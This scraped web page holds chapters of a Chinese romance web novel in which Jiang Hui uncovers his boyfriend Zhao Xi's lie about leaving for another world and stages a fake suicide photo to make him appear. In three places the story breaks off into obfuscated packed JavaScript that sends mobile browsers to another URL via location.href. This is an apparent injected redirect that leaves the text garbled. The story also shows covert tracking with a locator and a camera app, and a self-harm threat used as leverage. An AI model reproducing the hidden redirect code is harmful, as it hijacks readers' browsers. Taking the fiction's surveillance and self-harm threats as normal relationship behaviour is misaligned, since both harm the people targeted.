吵完架后悔了,想道歉又不愿意这样轻易低头。 正好服务员端了两盘菜上来,还有几瓶上好的酒水。 唐尺唰唰开了瓶,闷头就灌了一口。 “那明星的绯闻是怎么回事?我认识吗?”姜洄道。 “你应该不认识,一个别的公司的十八线男星,就是被拍到他俩一起吃饭了,余书给我的解释是他觉得这人很有潜力,想把人挖过来,但有点难搞,就一起吃了顿饭。” 唐尺简单解释了一下,“这个我其实是信他的,但我一时上头,就借着这个和他吵了一顿,就算知道了原因我也没好意思立刻道歉……好吧,其实算我单方面对他发脾气。” 姜洄默默喝茶,没应声。 唐尺瞥了眼他的表情,又自顾自灌了一口酒,叹气:“恋爱中的人总会莫名其妙做些莫名其妙的蠢事……你刚谈,你肯定不懂。” 他又不懂了? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200276|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜洄哭笑不得:“行,我不懂。那你一会儿吃了饭干什么去?” “不知道,就随便转转,晚上找个酒店睡一觉吧。”唐尺犹豫,“你和你男朋友吵过架吗?” 姜洄想了下,笑意淡了些:“吵过。” “在一起这么点时间就吵过架了啊?”唐尺本来就是随口问问,没想到还真有,闻言立刻对他还未曾谋面的对象印象直下三千尺,“你这男朋友不行。” 姜洄思绪回笼,淡淡道:“我也有问题。” 唐尺挑眉,语气揶揄:“哎呦,很护着嘛。” 姜洄任他调侃,垂眼又抿了口茶水,没什么反应。 唐尺好奇:“你们是因为什么吵架?” 姜洄:“说起来有些复杂……也不是什么大事,一些误会而已。” “解决了?” “嗯。” “有个问题我挺好奇的,能不能再问一句?” “你说。” “我看你好像什么都不太在乎的样子,平时也会担心男朋友会不会不够喜欢自己吗?” 姜洄思索了下:“不够喜欢?会吧。” 唐尺啧一声,佯装不满:“‘会吧’是什么意思?你说清楚点!” “以前会,”姜洄笑笑,“现在不会了。” 唐尺愣了两秒:“为什么?” “不知道怎么说。”姜洄道,“但有他在,就很安心。” 在赵熙那个世界的时候,他总是多疑,恐惧,究竟在怕什么自己也说不清楚,只是生命不能受自己掌控的日子太久了,他不愿面对一切未知的变数。 他能感受到赵熙的喜欢,也正因为这份喜欢,让他变得愈发惶恐,害怕有一天因为自己的真面目或许不够符合他的期待,而让赵熙感到失望,从而收回这份简单却真挚的喜欢。 所以他的选择是逃避——离开那个世界,斩断所有和对方的联系和未来,让自己回到过去孤身一人的状态。 先一步离开,先一步丢开这段感情……或许对赵熙残忍,却是那时他唯一能拿出来的解决办法。 这是他给赵熙最后的远离自己的机会,在他还没有深陷其中,还能狠心割舍的时候。 可是赵熙来了。 他从另一个世界来到了这里,再次找到了姜洄,知道了他藏起来的一切,他隐瞒的那些过往和身份,在无言下的卑劣与丑恶……但没有料想中的恶心,也没有被抛下的怨恨,他唯一的要求,甚至只是和姜洄像从前一样好好地生活在一起。 姜洄再狠心,再薄情冷性,再如何不断在内心对自己否认这几年生根发芽的那些思念……也做不到再推开他一次。 没放下的人,本来就不止赵熙一个。 虽然没有对赵熙这样说过,但姜洄确确实实,因为他的出现而获得了很大的安全感。 有一个人为了他而来到这个世界——这种事情哪怕放在非现实的文艺作品里都格外令人动容,更别说他甚至已经真实地见到了。 怎么可能不心动呢? 即便还有什么疑虑的,经过那一场车祸,也算是一起历经过生死了,姜洄也生不起怀疑他还别有居心的心思。 就算有些事情他有所隐瞒,姜洄也不想计较那么多了,他从前隐瞒对方的事情不也很多吗? 只要彼此能好好在一起就行了。 不过上次从心理咨询所出来后,姜洄一直觉得他可能有点不高兴了,但赵熙没明说,他也不好问。 总不能说,你是不是因为听到我自杀过不高兴了?这多冒昧啊。 ……而且姜洄觉得他不是不高兴,是心疼。 但姜洄不擅长应对这种说出来过于肉麻的情绪,赵熙或许也是因为这个所以才没有说出来,那天他们心照不宣地掠过了这个话题。 当然,这些姜洄都不会对旁人说。 但想起这些,或许也是被唐尺丧气的模样影响到了几分,姜洄还是有点郁闷。 可能正是赵熙给他的安全感太多了,只是因为“对方有了情绪、却没有立刻告诉他这种小事”,也能让他感到不爽。 唐尺拿眼睛盯了他片刻:“也不担心他喜欢上别人?” 姜洄神情自持,淡定丢下一句:“不会。” 他不会给赵熙机会再离开他,以赵熙那个被抛下还要眼巴巴追到这个世界来的德行,也不可能接受再和他分开。 这么笃定? 唐尺却不知想到了什么,又仰头闷了两口酒,感慨:“那你们感情真好。” 72.骗子 一顿饭掺杂着唐尺对余书各种细枝末节的控诉,吃完后唐尺酒气已经上脸了,整个人东歪西扭,站起来就差点又栽回去。 喝醉了也记得他要做东的话,不忘要结账,招来服务员,手却也变得滑不溜秋似的,半天解锁不了屏幕。 姜洄无奈,道:“我结账吧。” “不行!”唐尺立刻大声道,“我说了,我请客!” 见他还是打不开手机,姜洄看不过去,伸手接过他的手机放到桌上,又抓着他的手腕摁了一下手机指纹解锁的地方。“好了。” 唐尺睁大眼睛:“哇,你好厉害。” 姜洄有点被他整笑了。 唐尺确实有这种没心没肺,却轻而易举就给人带来开心的能力。 “你今晚去我那里住?还是订酒店?” 唐尺呆呆盯着他,打了个酒嗝。 他摇摇头。 姜洄:“都不去?” 唐尺目光下移,有点呆滞地盯着桌面,低声念了一句:“余书……” 随即趴下去,不省人事了。 懂了,还是要找相好的。 姜洄不怎么意外,但他没有余书的联系方式,喊了两声,唐尺都没什么反应,姜洄便又抓着他的手翻开他的手机,找到了余书的联系方式拨过去。 无人接听。 忙什么呢? 没办法,姜洄只能打了车,打算先把人带回公寓里,然后等人酒醒了再跟他说一声,让他自己联系余书。 姜洄虽然有些肢体洁癖,但这种时候也顾不上了,唐尺是他朋友又不是什么陌生人,扶一下还是可以的。 刚把人带到门口,他忽然脚下一顿,隐约感觉有人在看着自己。 演员的职业身份让他天然对镜头或视线这类东西感到敏感,但两人吃饭的这家饭店隐私性极好,连路过的路人认出他了都不会多看他们一眼,更何况姜洄进出都戴着口罩。 再一抬头,他只看到一道熟悉的身影匆匆钻进路边的一辆车里。 姜洄缓缓眨了下眼,呼吸都停了半拍。 ……赵熙? 可惜那人的身影一闪而过,那辆车也很快疾驰而去,隐没在车水马龙的车流里了。 姜洄皱起眉,第一反应是要去看兜里的手机。 这才不到一周,赵熙应该还在另一个世界才对。 而且他回来了,肯定会联系姜洄的。 但手机放在外套口袋里,因为扶着唐尺这个醉鬼,他不好去拿,只能又在寒风中等了好一会儿,上了前来接他们的网约车后,才将手机掏了出来。 点开屏幕,他和赵熙的聊天框依然空空如也,赵熙没有任何回复。 他忍不住发了一条消息过去。 【口-口:回来了吗?】 而在这条街的另一个路口,刚刚那辆在姜洄眼中驶向公路其他道路的车,停在了街边的临时停车位上。 后座是烂醉如泥的余书,而驾驶座上,正坐着赵熙。 手机屏幕的光映在他脸上,眸底透出一层光晕,连神情都显得有些莫测。 他的视线定在聊天记录里姜洄这几天发来的那几条消息上,来回翻阅,迟迟没有任何回复。 良久,他把手机关上了。 赵熙颇有些自欺欺人地想,没关系,虽然看到姜洄的时候很是惊讶了一会儿,导致出来的时候被对方逮个正着……但他应该没有看见赵熙的脸。 而且他今天没开车来,这辆车是余书的。 只要他不承认,姜洄的怀疑就永远只会是怀疑。 看向后座不省人事的余书,赵熙深深叹了口气,又想到了刚刚靠在姜洄肩上的那个男生。 角度问题,他站在饭店外面做贼一样瞅了半天也没看到对方的脸,出来后又是姜洄一直扶着的,对方头垂得很低,赵熙还是看不出他是谁。 印象里,明明小叔叔没有什么比较亲近的男性朋友。 而且小叔叔不是有肢体洁癖吗?为什么会靠得那么近? 甚至还帮那个男生解锁手机……他都看见了! 赵熙挠了一把头发,心里烦躁得要命。 早知道会看到这种场面……不管余书表现得再可怜,他也不出来陪对方喝酒了。 好歹一个人的时候他会常看手机关注姜洄的情况……还能及时从定位器上知道他的行踪,不至于和对方在这里突然撞上。 这回好了,余书是和对象吵架。他却有了失恋的风险。 这下是同为天涯沦落人了。 赵熙翻了翻口袋,剥开前段时间姜洄送给他的糖里仅剩的一颗存货,丢进嘴里,面无表情地咬了一口。 咯吱作响。 糖明明是甜的,他心里却酸得要命。 才分开几天…… 果然就像他想的那样,他在不在,对姜洄来说,其实根本无关紧要吗? 这个念头浮现的那一刻,赵熙攥紧了方向盘,手背有一瞬间青筋毕现。 他垂眼良久,缓了缓呼吸。 后悔了。 想回去、想问他和那个男生的关系、想知道他这几天有没有那么一丁点想念过自己、想明白对他来说,赵熙这个人究竟是什么样的存在。 更想掰着他的脸和他对视,拥抱他,亲吻他,和他□□……然后问他,可不可以只有我一个人。 必须只能有我一个人。 ……可那样的他太扭曲太阴暗了,和从前乖巧贴心的样子一点也不像,不必想,也知道会吓到小叔叔的。 这时候的赵熙,忽然又无比怀念起z的身份还未曾对姜洄坦白的时候。 他可以跟对方随心所欲地聊一些话题,不需要因为所谓的必须回到另一个世界的理由而突然消失,也不需要在姜洄面前保持什么三好青年的完美“侄子”形象。 他只是一个网友、一个隔着网线面都没见过的陌生人,他有身份也有理由能随心所欲地“无心”问出一些他想知道的事情,戳到雷点就立刻道歉、后退。 像小叔叔这样敏感又容易心软的人,念在不知者无罪的份上,绝对不会真的动气,也不会晾他太久。 有时赵熙会痛恨z是他,有时又会感谢他是z。 成也萧何,败也萧何。 …… 直到回到家,把醉成一滩的唐尺扔到沙发上,姜洄再摸出手机,也没能看到回复。 原本这很正常,毕竟他之前几天发的那些消息也都没有得到回复,这更加加深了他的印象——赵熙在另一个世界的话,是无法和他交流的,就和他料想中一样。 但眼下因为方才那个一闪而过的身影,从前没有仔细想过的一些地方,姜洄又注意到了更多的异常。 他一直先入为主地认为在另一个世界不能接收到消息,但事实上,赵熙从没有这样对他说过,他也没有问过。 虽然姜洄其实也很想知道那边的东西能不能带到这里来,他这几年总是忍不住想到赵熙送给他的那些东西,本来想问问的,但看赵熙一次都没戴过,连那条他最喜欢的蛇形项链也是,就知道不能了。 如果赵熙真的需要每隔一段时间就回到那边去一段日子,为什么他在作为“z”的时候没有在姜洄视野里长时间消失过? 有时可能会隔一段时间才回复,但最多也只是几个小时。 z和他保持了两年的联系,这期间,有大概一年半的时间,他们的聊天频率是两三天一次。 剩下半年时间是刚认识的时候,聊天频率在半个月或是一个月。 两三天,说长不长说短不短,要是说趁着这段没和姜洄联系的时间回去过也说得通。 但排除赵熙主动找他聊天的时候,还有不少次姜洄主动给他发过消息。 他是怎么做到每次姜洄找他,他也恰好就在这个世界,恰好能够一天内回复的呢? 巧合太多,就不是巧合。 姜洄翻了翻看不到头的聊天记录,觉得因为一个熟悉的背影就起疑的想法其实有点太过荒谬,但他很熟悉赵熙,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206069|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像赵熙熟悉他一样。 即便没看到脸,他也有种直觉般的笃定,那就是赵熙。 回来了却不找他? ……又或许他也许根本就没有回去过。 这个念头一冒出头,就被姜洄火速摁了下去。 他心里大概有了个想法,但工程量有点大,还得把唐尺的去处解决了再说。 把沙发上嘟嘟囔囔的男生拍醒,姜洄问他到底去哪,唐尺还是迷迷糊糊地念叨余书的名字,很明显还没醒酒。 这俩人的矛盾就让他们自己解决去吧。 姜洄毕竟曾经还有过余书那一代人长辈的身份,莫名有种旁观自家孩子吵嘴的感觉。 他翻了半天的柜子,找到一瓶八百年没开过的蜂蜜罐头,煮了碗蜂蜜水,端给唐尺喝了,期间不停翻着聊天记录,又拿了笔记本来,一手放在键盘上,在网页上搜索着什么。 唐尺清醒了一些:“你在看什么?” 他的脑袋下意识偏过来了点,姜洄不动声色把手机屏幕熄灭了,合上电脑:“酒醒了?” 唐尺呆愣愣的:“啊。” 看着醒了又没完全醒。 姜洄示意他把手机解锁,然后帮他再次拨通了余书的电话,听见对面终于接通,又无声递给了唐尺,让他自己聊。 唐尺没反应过来,下意识接了,听到那边传来余书有点困顿的声音,才清醒了几分。 对上姜洄冷静的眼神,他没好立刻把电话挂了,起身去阳台讲了。 过了会儿他才回来,不知道两人聊了什么,唐尺脸红扑扑的,告诉姜洄:“余书说让人来接我。” 姜洄把人送上余家司机的车,这才返回楼上,清理了沾了些酒味的毛衣和裤子,洗了个澡,又把那条围巾亲自手洗了,确定一丝酒味都没有。 头发都没吹干,就坐回了书桌面前,把电脑手机再次打开,面前还摆了个本子。 看一眼电脑上搜罗到的赵熙近两年的行程信息,再看一眼他们聊天的时间节点,然后一起记录到本子上。 做这一切时,姜洄脸上始终没什么表情,全程都相当镇定沉静。 他定下心要去找一件事的破绽时,是不会有任何外在因素能干扰到他的。 和唐尺吃饭的时候是中午,回来就三点多了,直到晚上八点,姜洄才把所有信息全部记录完毕。 对比本子上密密麻麻的两条时间线轴,姜洄抿了下唇,越看眼神越沉。 头发拖在脑袋后面,因为没吹过,水珠顺着发丝滴下来,已经沾湿了他毛茸茸的白色睡衣,背部一大片冰凉的湿意。 姜洄的心也凉得彻底。 赵熙虽然没露面过,不算正经明星,但他的拼也是圈里公认的,他的公开行程,基本能对得上没和姜洄联系的那些时间。 也就是说,没和他联系的时候赵熙基本都在工作,两年多至今,所有时间都对上了,他根本没有多余的时间能回到另一个世界去,除非他是觉都不睡了,晚上回去、白天又过来的。 好。 很好。 几年不见,敢骗他了。 那他和姜洄坦白说的那些话,又有哪些是真,哪些是假? 姜洄扶着桌沿,白皙的指尖搭在本子记载的两条时间线上,脊背绷得很紧。 越是到这时候,人的脑子转得越快。 思绪飞转间,想到刚重逢那天赵熙戴在手腕上、后来又不见了的那块表,姜洄用力地抿了下唇。 或许他想错了。 不是那边的东西带不过来。 是赵熙不愿意在他面前戴。 至于为什么? 姜洄又想到他反复两次提起过当初的不告而别,虽然他为此道歉了,但赵熙似乎两次都有意打断了他。 那时候他心里就隐约觉得有点别扭,只是没有多想,也不愿意多想。 现在他明白了。 姜洄想,这个骗子。 也许根本…… 根本没有原谅过他。 73.除夕 头顶灯光照在面前的书桌上,镜片反射着刺眼的白光。 姜洄摘下眼睛,看着眼前摊开的手机电脑和本子,久违地陷入了茫然。 还是有想不通的地方。 赵熙来到这里两年,明明没有回去,但偏偏要跟他说能在两个空间来回穿梭,还说那边管理得很好,为什么呢? 怕他不高兴? 可他如果不高兴也不会很久的,如果真的动了气,只能是因为对方为了来这里,付出了姜洄不能接受的代价。 但赵熙也说过,来这里有代价,但绝对和他的身体健康无关。 他说这话时的表情很认真,姜洄愿意相信他。 除此之外,还有什么事情是姜洄一定会对他生气的吗? 赵熙遮遮掩掩的态度,究竟是在隐瞒些什么? 消失不回复他的这几天,假装自己真的回去了,又是为了什么? 姜洄揉了揉眉心,再次把聊天记录翻到了最底下。 赵熙仍旧没有回复,他发过去的那几条消息显得孤零零的。 跟他装傻? 姜洄眉眼压了压,又发了条消息过去。 【口-口:今天遇到一个人很像你。】 另一边刚食之无味吃完晚饭、时不时观察一眼对面房间情况的赵熙正对着聊天框发呆,盯着这条消息看了两秒,忽然觉得不对。 不会说的那个靠在他肩膀上的男生吧? 要是指的是看到了赵熙,好像也没好到哪里去。 忍了又忍,赵熙还是没回复。 小叔叔很可能已经起疑了,在诈他,不能轻举妄动。 他打开另一个app,点进去看了一眼。 空荡荡的客厅里没有人,隐约能从玻璃处看见卧室里,床边坐着个人影。 下午看到的那个男生好像走了。 他刚松了口气,又提起来。 不会在卧室吧? 一个念头在他脑海中闪了闪。 那……小叔叔是在什么情况下,给他发的这条消息? 另一边,姜洄不出所料地没有收到任何回复。 直接问肯定不承认,姜洄修修改改,把刚写的“你是不是回来了”又一个字一个字删除了,想了好半天,又发:回来了找我,有很重要的事跟你说。 这一晚姜洄吃了药才睡得好了些,睡前把手机看了又看,醒了的第一时间也是反手去摸手机。 还是不回复。 姜洄冷笑出声。 从前没看出来,赵熙还有装死的天赋。 思索再三,姜洄没再给他发消息。 洗漱出来后,他一边吃早餐,一边切换到朋友圈,想从图库里精心挑选了一张和男性朋友的合影。要选没有公开过的、赵熙没有见过的,还要不介意合照被发出去的。 挑来挑去,只有和唐尺的合照符合要求,他截取了自己的那部分,但把唐尺的肩膀露出了一半,隐约能看到和对方一般高。 这张合影是唐尺之前在顺城那边拉着他在小区楼下拍的,很有日常气息,富人小区长得也都大差不差,姜洄赌赵熙看不出来。 确定没什么破绽了,他编辑文案,发布。 【口-口:合照[图片]】 他朋友圈八百年没更新过了,诈尸一样突然刷新一下,发的还是另一位没有露脸的合照,不少好友都在立刻点赞评论了。 其中还有唐尺的“?”和宋因雯调侃的“哟,铁树开花?”。 宋因雯知道他谈恋爱了,也知道是谁,但她毕竟不熟悉赵熙,没认出来很正常。 而且两人共友挺多的,有些话不好在朋友圈明说,也就这么暗戳戳调侃一句了。 姜洄一一看过去,觉得都不好回复。 他只回了唐尺的问好:【酒醒了?】 唐尺给他发私信:【醒了……】 【小唐:昨天是不是给你添麻烦了?对不起啊/大哭/大哭】 【口-口:还好,你在我这呆的时间又不多。】 【小唐:那就好,怎么你突然发了这张合照,而且你还把我p了!】 【口-口:觉得挺好看的就发了,p掉你是因为怕男朋友误会/黄豆微笑】 【小唐:我怎么感觉你这朋友圈更让他误会了……】 要的就是这个效果,一个人一套说辞嘛。 姜洄默默想。 【小唐:昨天还没说完呢,你男朋友到底谁啊?】 【口-口:你会认识的,但不是现在。】 才和唐尺聊了几句,姜洄就已经反复退出去查看了好几遍和赵熙的聊天框有没有新消息进来,实在没什么心情和唐尺科普赵熙是谁、又是怎么和他好上的。 好奇的都等着看综艺直播吧,姜洄已经准备好到时候一人甩一个直播链接过去了。 他本以为这一套有效才对,毕竟没有谁比他更了解赵熙,虽然平时看着温柔可心,但其实此男的占有欲强得可怕。 或许赵熙以为瞒得不错,但瞒不过姜洄。 又从天亮等到天黑,姜洄一整天时不时捧着手机,都要成低头族了,还是没等到一丁点动静。 这么能忍? 姜洄这下是真的有点诧异了。 以前赵熙看到他的朋友圈都会点赞的,现在难道看不出这条朋友圈不对吗? 没有危机感吗? 还是说,他真的回去了,不在这个世界,姜洄的判断是错的? 不,不可能。 这个想法才冒出来就被姜洄否定了,昨天那个人一定是赵熙,他不可能看错。 姜洄又把那条朋友圈左看右看,然后截图转发给宋因雯和唐尺、李哥等人。 【口-口:第一眼感觉这是什么?】 【小唐:好兄弟,一辈子,别把我p掉就更好了】 【宋:啊?男朋友?不是吗?】 【lili:???】 【lili:你发错人了?】 【lili:等一下,照片上是谁?赵熙?你要官宣了?】 【lili:我怎么记得赵熙比你高来着,这个怎么矮了一截,肩膀和你的一样高/疑问】 姜洄满意了。 就说除了照片正主,没有人会觉得这朋友圈对劲吧? 别人可能会觉得是错觉,但赵熙是他男朋友啊!他发这种似是而非的照片和文案,不应该来质问且制裁一下吗? 所以赵熙为什么还没主动找他? 这么能忍……除了不在意,姜洄想不到其他理由了。 又过一天,他沉默地再次翻开聊天框。 还是没有动静。 尝试着打了两个电话,也是无人接听。 姜洄忽然不想这样干等着了,他很想直接去找人,问问他到底什么意思。 不回消息,不接电话,对他的朋友圈动态也毫不理会。 是装上瘾了,还是——还是纯粹地不想理他? 姜洄顿住了。 他想起自己好像只知道赵熙住在哪个小区,却不知道对方具体的住址。 今天是除夕,外面从一早开始就断断续续有人在放鞭炮。 姜洄买了一大堆食材回来,还有很多年货,本来家里没人,他懒得折腾,还想着要不要去江淮小区的别墅那边住两天。 但如果赵熙其实没回那个世界,他就不这么想了。 去江淮小区过年,也要是和赵熙一起。 午饭后,姜洄将自己裹得严严实实,打车去了赵熙之前和他说的那个小区。 来了他才意识到自己到底有多冲动,这样的富人小区,保安是不会私自透露户主的个人信息的,他举着照片问住址的样子会被人当成私生饭赶出去。 而没有户主信息,也没有登记过,他进不去小区。 站在路边被冷风糊了一脸,姜洄扯了扯围巾包住冻得通红的脸蛋,还是决定回去了。 可除了这个住址,姜洄发现,他竟然不知道该从哪里去找赵熙了。 他如今对赵熙的了解,就好比赵熙曾经对他的了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223394|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,对方给一点信息,他就知道一点,除此之外,一无所知。 赵熙怎么来的,到底还会不会回去,为什么对他避而不见,为什么骗他,为什么不搭理他…… 好多问题挤在姜洄的脑子里,乱糟糟一片。 等等。 这场景,是不是很像他当初和赵熙不告而别? 姜洄整个人都僵住了。 是他想多了,还是…… 如他所想的那样,其实从重逢开始,这就是一场报复? 综艺已经报名了,还有一周多,过了年关就要开拍了,突然不去的话,违约金会赔得很多吧? 这是姜洄的第一个想法。 或者赵熙其实就想看被甩了之后,姜洄还不得不跟他装恩爱的样子? ——不会的,赵熙不是这样的人。一个声音在姜洄左边说。 姜洄的脸色缓和下几分。 ——他被你养了十年,说抛下就抛下了,几年没见,你们分别的时间早已比谈恋爱在一起的时间还要多了,你怎么确定他还是以前那样单纯真挚的小男生呢?你怎么确定他是怎样的人呢? 被抛弃和被背叛一样都很痛苦吧?你这样阴暗,凭什么会觉得和你本就是一个人的赵熙还根正苗红呢? 又一个声音在他右边说。 姜洄脸色一会儿青一会儿白,越想思绪越乱。 他开始后悔为什么在那几次遇见小奇的时候没有加上小奇或是赵熙经纪人的联系方式,或许还能从对方那里打听一下赵熙住在哪里,这段时间是有意避着他还是避着所有人。 对了,李哥有赵熙经纪人的联系方式啊。 姜洄用力甩了甩脑袋,压下杂念,和李哥简单聊了几句,以工作沟通不麻烦李哥除夕加班为由索要联系方式。 对方很快发来一张微信名片。 姜洄加上了这位百百姐,回到家才收到对方的回复。 【百百:啊?你不知道吗?他说最近有事要忙把工作都推了,我也好久没见他了。】 【百百:哦,不过他过两天会回来录专辑。】 【口-口:您能联系上他吗?现在。】 【百百:能吧……他怎么了吗?前两天我还和他沟通专辑录制的工作事项呢。】 前两天,不就是姜洄和唐尺吃饭那天吗? 姜洄忍了又忍,把捂住口鼻的围巾摘下来,狠狠扔到了沙发上。 半晌,他切回聊天框,镜片下目光沉静。 【口-口:好的,谢谢。】 他又去找唐尺:【你男朋友联系方式给我一下。】 十几分钟后唐尺回复他。 【小唐:啊?】 【小唐:188xxxxxx】 姜洄没时间解释,一个电话打过去了。 “喂。” “你好,”姜洄沉静道,“我是姜洄,你男朋友的朋友,赵熙的……” 他顿了下,本来想说男朋友,但忽然又觉得可笑。 男朋友?男朋友需要到处去问其他人自己男朋友去哪儿了吗? 他把这几个字咽了下去,改成:“——也是赵熙的朋友。你最近能联系上赵熙吗?” 余书为他这串介绍茫然了一下:“啊……能吧。” “我们前两天还一起出去吃过饭,”余书试探道,“怎么了吗?” “没事。”姜洄微笑,“谢谢。” 他把电话挂了,深呼吸了一口气,发现刚刚一瞬间手指掐得太用力,掌心红了一片。 整明白了,就是避着他。 为了避着他,班都不上了,消息也只不回复他的。 有空和别人吃饭,也有空去录专辑,聊工作……见到他却头都不回一个。 姜洄切换到赵熙的聊天框上,还是将之前没发出去的那句话打了出来:【我知道你在。】 【口-口:你根本没有回去,对不对?】 【口-口:不要装死,回话】 【口-口:来找我,我们谈谈。/黄豆微笑】 74.锚点 姜洄还是低估了赵熙的忍耐力。 ——他硬是一条都没有回复! 快到晚上六点了,外面天色已经很暗,家家户户亮起了灯。 姜洄坐在沙发上,听着外面吃年夜饭前的鞭炮声,更感觉坐在公寓里一个人的他显得可笑又可怜。 已经形单影只过了三个年,现在赵熙明明在,他却还是要一个人过新年。 忍不了一点呢。 姜洄闭了闭眼,去问唐尺:【你们之前吵架怎么解决的?】 大概半个小时唐尺才看到消息,应该也是家里过年,在忙。 【小唐:就那样解决啊,亲一顿,哄两句就好了。】 【小唐:你最近怎么老说些奇奇怪怪的东西……怎么,你和男朋友吵架了?】 姜洄思考良久,觉得谈恋爱他确实不如唐尺有经验,毕竟他们能一晚上就和好。 于是虚心请教:【算是。】 【小唐:/惊讶】 【小唐:大过年吵架啊?那你就按我上头的方法来。】 姜洄拧眉:【不行。】 他明明很生气! 还要亲他?那不是奖励他吗! 【小唐:为什么?】 【口-口:他骗了我,我生气了,但我觉得他应该有苦衷,我想和他好好谈谈,但他不肯来见我,消息都不回。】 【小唐:……】 【小唐:你谈的什么男朋友……你不会是被骗身骗心了吧……】 【口-口:没那么严重。】 【小唐:行。】 【小唐:你确定他喜欢你吗?】 姜洄沉默了片刻:【喜欢】 ……吧。 本来很确定的,现在又不确定了。 都怪赵熙。 【小唐:那简单!你就跟他说,你不来见我,那就分手。】 【口-口:……不行。】 【小唐:这又是为什么?】 姜洄:【……】 不能分手。 ——不喜欢也不能。 他无视了这条消息,回唐尺:【算了,你忙吧。】 【小唐:???】 【小唐:怎么就算了?】 【小唐:再聊聊呢?我刚被我爸从厨房赶出来,非常有空!】 姜洄冷酷无情地拒绝了他:【我没空。】 他合上手机,肚子有点空荡荡的。 去冰箱看了眼,没什么想做菜的欲望,只拿了个面包出来啃。 聊天记录还是空空如也,姜洄刻意让自己不要频繁去看,显得很上赶着一样掉价。 他吃完面包,拿上衣服去浴室洗澡了。 隔了一会儿,又满脸烦躁地回来拿上了手机。 躺在浴缸里,姜洄听着外面不断的烟火声,心底积压的情绪也在不断上涌。 不安,怀疑,痛苦,恐惧,思念。 如今的他好像才是在这段感情里被牵着走的那个。 为几条不回复的消息而患得患失,为一个无端的猜想搜寻蛛丝马迹、千里迢迢跑去找人、询问四周的亲朋好友对方的踪迹、寻找一切能让对方理会自己的办法…… 和他曾经目睹过的所有因为所谓爱情就失去理智的人一样,像个神经质的精神病患者。 可笑可恨又可怜。 ……精神病患者? 姜洄坐起身,怀里的水圈和泡沫荡起一阵波纹。 他抬起左手,看到了上面的划痕。 其实已经一年了,最新的那道口子也已经不太显眼了。 想到赵熙那天从心理治疗所出来后的沉默…… 一个疯狂的念头在姜洄脑海里浮现。 或许,唐尺的建议也不是毫无用处。 三分钟后。 【口-口:赵熙。】 【口-口:[图片]】 【口-口:你不来见我,我就死给你看。】 图片上是一只皓白的手腕,无力地搭在浴缸旁,本来结痂的伤口处又流出了汩汩鲜红的血液,顺着手腕流进了浴缸,染红了一小片水面。 红与白,极致的色彩冲突,刺目无比。 这几条消息发出去三分钟,仍旧毫无动静。 姜洄有点失望。 他记得赵熙曾经说过的——不要把自己搞受伤,他会心疼。 这也是姜洄不愿多说之前割腕经历的原因之一,因为不想让赵熙担心。 原来三年时间,磨灭的也许不止坦诚。 也许赵熙,真的没有他以为的那样在乎他。 说什么为了他才来到这个世界,却连好好沟通一次都不肯……骗子。 姜洄愣愣地发了会儿呆,从浴缸里站起身,正要冲洗掉身上的痕迹,忽然听见门外一些细微的动静。 他顿了下,侧耳去听,好像是有人在解门锁,摁了两次没成功,智能系统提示“指纹解锁失败”。 谁? 姜洄一下警惕起来。 他没给任何人录入过公寓的指纹,包括赵熙——当然,赵熙也不需要,他和姜洄指纹一样,他们连彼此的手机都能直接解锁。 姜洄脊背紧绷一瞬,跨出浴缸,一瞬间带起的水声盖过了大门被打开的声音,姜洄还记得用浴巾擦了擦身体,匆匆披上浴袍,还没系好,忽然听到急促脚步声从门口快步拉近,直奔卧室里的浴室而来。 ? 姜洄动作一顿。 对方脚步声停在门口,习惯性地敲了一下门,姜洄张了张嘴,甚至还没反应过来该说什么,门口然后意识到什么,安静了两秒,开始撞门。 只是砰砰两声,本就不结实的塑料门就直接被撞开了。 姜洄和门口拿着手机的赵熙四目相对:“……” 不是。 一身使不完的牛劲儿啊! 赵熙只凝滞了一瞬间,目光下移,两步冲进来,气息有些不匀。 他放在耳边的电话刚接通:“喂,这里有人……” 边说着,边要抓起姜洄那只手腕。 姜洄比他动作更快,抬手就把他手机抢了过来,道:“不好意思打错了。” 然后火速挂了电话。 赵熙愣了半秒钟,脸色紧绷:“什么打错了,你——” “我没事。” “你血都流这么多了——” “假血。”姜洄怕他再晚说一步,赵熙就又要把手机抢回去继续拨通120,以生平最快的语速火速交代了。 气氛凝滞了两秒。 姜洄咳了一声。 他把手腕递到赵熙面前,示意对方闻一闻:“番茄酱。” 赵熙鼻尖耸动了下,有点酸甜:“……” “浴缸的也是。” “……” 对峙片刻,赵熙咽了口口水,终于意识到了自己现在的处境。 按他和姜洄交代的,此时他应该还在另一个世界。 装了这么多天,一张似是而非的图片就让他自乱了阵脚。 